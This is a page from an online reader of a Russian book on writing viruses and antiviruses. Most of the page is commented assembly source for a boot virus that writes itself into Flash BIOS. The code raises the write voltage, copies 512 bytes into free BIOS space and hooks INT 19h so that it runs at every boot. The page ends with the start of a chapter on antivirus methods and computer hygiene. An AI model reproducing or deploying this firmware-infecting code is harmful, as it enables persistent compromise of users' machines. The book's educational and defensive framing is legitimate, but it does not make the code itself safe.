Рейтинговые книги
Читем онлайн Создаем вирус и антивирус - Игорь Гульев

Шрифт:

-
+

Интервал:

-
+

Закладка:

Сделать
1 ... 13 14 15 16 17 18 19 20 21 ... 39

Int13h proc near

pushf

call dword ptr cs:[i13]

ret

Int13h endp

;Первые два байта слова используются как сигнатура

Marker db ”VLAD”

;Эта подпрограмма заражает Flash BIOS

Flash_BIOS Proc Near

;Проверим наличие Flash BIOS

mov ax,0E000h

int 16h

jc no_flash_bios

cmp al,0FAh

jne no_flash_bios

;Сначала найдем хорошее место для хранения вируса.

;Просканируем память F000h−FFFFh, где обычно находится BIOS,

;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,

;но выделить нужно с запасом

Infect_Flash:

;Установим начальный сегмент для поиска

mov ax,0F000h

mov ds,ax

;Проверим сегмент

New_segment:

;Установим стартовое смещение

xor si,si

;Установим счетчик найденных байт

;(величина свободного места для вируса)

xor dx,dx

ok_new_segment:

;Перейдем к следующему сегменту

inc ax

mov ds,ax

;Проверим, есть ли еще место для вируса

cmp ax,0FFF0h

je no_flash_BIOS

;Проверим, свободно ли место (для скорости проверяем словами)

Test16:

cmp word ptr [si],0

jne new_segment

;Увеличим счетчик размера найденного свободного места

inc dx

;Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт,

но

;так как память сканируем словами, сравниваем с 512 (1Кбайт=512

слов)

cmp dx,512

je found_storage

;Увеличим смещение проверяемого байта

inc si

inc si

;Сравним с 16. Переходим к следующему сегменту

;в начале каждого параграфа

cmp si,16

je ok_new_segment

jmp test16

;В эту точку попадаем, если место найдено

Found_storage:

;Перейдем к началу зоны

sub ax,40h

mov ds,ax

;Получим требования к сохранению состояния чипа

mov ax,0E001h

int 16h

;Проверим, сколько памяти необходимо для сохранения состояния

;чипа. Если слишком много, не будем сохранять состояние

cmp bx,512

jbe save_chipset

;Установим флаг, показывающий, что состояние не сохраняли

mov byte ptr cs:chipset,1

;Перейдем к записи

jmp write_enable

;Сюда попадаем, если Flash BIOS не обнаружен:

;записывать некуда – выходим

No_Flash_BIOS:

ret

;Сохраним состояние чипа

save_chipset:

;Установим флаг, показывающий, что состояние сохранили

mov byte ptr cs:chipset,0

;Сохраним состояние

mov al,2

push cs

pop es

mov di,offset buffer

int 16h

;Записываемся во Flash BIOS

write_enable:

;Повышаем напряжение

mov al,5

int 16h

;Разрешаем запись во Flash BIOS

mov al,7

int 16h

;Копируем 512 байт вируса во Flash BIOS

push ds

pop es

xor di,di

mov cx,512

push cs

pop ds

xor si,si

cld

rep movsb

;Здесь нужна особая осторожность. Int19h указывает на BIOS,

;позднее оно перехватывается различными программами.

;Если трассировать его, можно наткнуться на закрытую область

;или на сегмент 70h, но этого не будет при загрузке. Понятно,

;что это единственное удачное время для выполнения вируса.

;Все, что нужно – ”внедриться” в int19h.

;Можно перехватить его в том месте, где находится

;сохраненная таблица векторов, но сделаем интереснее.

;Получим смещение оригинального обработчика int19h

mov bx,es ;BX=сегмент вируса

xor ax,ax

mov ds,ax ;DS=Таблица векторов

mov di,word ptr [19h*4] ;Смещение INT 19h

mov es,word ptr [19h*4+2] ;Сегмент INT 19h

;Запишем JMP FAR по адресу точки входа в INT 19h

mov al,0EAh

stosb

mov ax,offset int19handler

stosw

mov ax,bx

stosw

;Понизим напряжение

mov ax,0E004h

int 16h

;Защитим Flash BIOS от записи

mov al,6

int 16h

;Проверим, сохранялось ли состояние чипа, если нет – выходим

cmp byte ptr cs:chipset,0

jne No_Flash_BIOS

;Восстановим состояние чипа

push cs

pop es

mov al,3

mov di,offset buffer

int 16h

jmp No_Flash_BIOS

;Флаг несохранения состояния чипа

chipset db 0

;Флаг присутствия вируса во Flash BIOS

flash_done db 0

;Наш обработчик INT 19h.

Int19Handler Proc Near

;Установим сегментный регистр ES в ноль

xor ax,ax

mov es,ax

;Проверим наличие резидентного вируса

mov ax,0ABBAh

int 13h

;Если вирус присутствует, то запускаем оригинальный

;обработчик прерывания INT 19h

cmp ax,0BAABh

jne real_int19h

;Перенесем вирус из BIOS в boot−буфер

push cs

pop ds

cld

xor si,si

mov di,7c00h

mov cx,512

rep movsb

;Запустим вирус в boot−буфере

mov dl,80h

jmp goto_Buffer

Real_int19h:

;Произведем сброс дисковой подсистемы

xor ax,ax

int 13h

;Проинициализируем значения регистров для загрузки boot−сектора

mov cx,1

mov dh,0

mov ax,0201h

mov bx,7C00h

;Проверим, откуда грузимся: если DL не нулевой,

;переходим к загрузке с жесткого диска

cmp dl,0

ja hd_int19h

;Прочтем boot−сектор с дискеты. Если при чтении происходит

;ошибка, то читаем с жесткого диска

int 13h

jc fix_hd

;Установим флаг, показывающий присутствие вируса во Flash BIOS

Goto_Buffer:

mov byte ptr es:[7C00h+offset flash_done],1

;Запустим boot−сектор, находящийся в boot−буфере

db 0EAh ;Код команды JMP FAR

dw 7c00h

dw 0

Fix_HD:

;Установим номер диска для загрузки (диск C)

mov dl,80h

HD_Int19h:

;Произведем сброс дисковой подсистемы

xor ax,ax

int 13h

;Прочтем boot−сектор

mov ax,0201h

int 13h

jc Boot

jmp Goto_Buffer

;Если не удалось загрузить boot−сектор,

;вызываем прерывание INT 18h

Boot:

int 18h

Int19Handler EndP

Flash_BIOS EndP

End_Virus:

;Размер области памяти, необходимый для дополнения

;размера вируса до 510 байт

DupSize equ 510–offset End_Virus

;Заполнение незанятой вирусом части сектора

db DupSize dup (0)

db 55h,0aah

;Место для сохранения состояния чипа

Buffer:

Глава 6 Методы борьбы с вирусами

В этой главе описаны наиболее эффективные методы борьбы с вирусами, защиты от проникновения и лечения. Приведены алгоритмы необходимых действий при подозрении на наличие вируса в компьютере. Описаны меры по предотвращению «эпидемии» путем создания программы-блокировщика.

Рассмотрен пример создания программы-антивируса. Представлены исходные тексты программ с подробными комментариями.

В предыдущих главах состоялось знакомство с компьютерными вирусами, поражающими Flash BIOS, документы текстового процессора Microsoft Word 6.0 for Windows, файлы разных операционных систем и прочие. Пришло время рассмотреть различные способы борьбы с ними.

Итак, что же такое антивирус? Сразу же развеем одну часто возникающую иллюзию. Почему-то многие считают, что антивирус может обнаружить любой вирус, то есть, запустив антивирусную программу или монитор, можно быть абсолютно уверенным в их надежности. Такая точка зрения не совсем верна. Дело в том, что антивирус – это тоже программа, конечно, написанная профессионалом. Но эти программы способны распознавать и уничтожать только известные вирусы. То есть антивирус против конкретного вируса может быть написан только в том случае, когда у программиста есть в наличии хотя бы один экземпляр этого вируса. Вот и идет эта бесконечная война между авторами вирусов и антивирусов, правда, первых в нашей стране почему-то всегда больше, чем вторых. Но и у создателей антивирусов есть преимущество! Дело в том, что существует большое количество вирусов, алгоритм которых практически скопирован с алгоритма других вирусов. Как правило, такие вариации создают непрофессиональные программисты, которые по каким-то причинам решили написать вирус. Для борьбы с такими «копиями» придумано новое оружие – эвристические анализаторы. С их помощью антивирус способен находить подобные аналоги известных вирусов, сообщая пользователю, что у него, похоже, завелся вирус. Естественно, надежность эвристического анализатора не 100 %, но все же его коэффициент полезного действия больше 0,5. Таким образом, в этой информационной войне, как, впрочем, и в любой другой, остаются сильнейшие. Вирусы, которые не распознаются антивирусными детекторами, способны написать только наиболее опытные и квалифицированные программисты.

Таким образом, на 100 % защититься от вирусов практически невозможно (подразумевается, что пользователь меняется дискетами с друзьями и играет в игры, а также получает информацию из других источников, например из сетей). Если же не вносить информацию в компьютер извне, заразиться вирусом невозможно – сам он не родится.

Итак, что же можно посоветовать, чтобы сталкиваться с вирусами как можно меньше или, по крайней мере, только сталкиваться, не допуская их на жесткий диск своего винчестера. В первую очередь – самые элементарные правила «компьютерной гигиены»: проверка дискет на наличие вируса самыми надежными антивирусными программами, такими, например, как AVP или DrWeb. Очень хорошо, если на жестком диске установлен ревизор Adinf. Многие пользователи добавляют строку запуска ревизоров, антивирусов, антивирусных мониторов в конфигурационный файл AUTOEXEC.BAT – тоже весьма действенно.

Есть определенные способы борьбы и с загрузочными вирусами. В установках (SETUP) компьютера предусмотрена защита от записи в MBR. Когда запись начинается, BIOS сразу же ее останавливает и запрашивает подтверждение на разрешение записи. Естественно, следует запретить запись, а затем загрузится со своей, заранее подготовленной, системной дискеты. У большинства компьютерных пользователей такой дискеты нет – а надо бы завести. И это еще не все. Вирусы постоянно совершенствуются, и все их многообразие охватить, конечно, невозможно. Поэтому надо быть готовым, что рано или поздно вирус все-таки попадет на жесткий диск, и встретить его нужно во всеоружии.
1 ... 13 14 15 16 17 18 19 20 21 ... 39
На этой странице вы можете бесплатно читать книгу Создаем вирус и антивирус - Игорь Гульев бесплатно.
Похожие на Создаем вирус и антивирус - Игорь Гульев книги

Оставить комментарий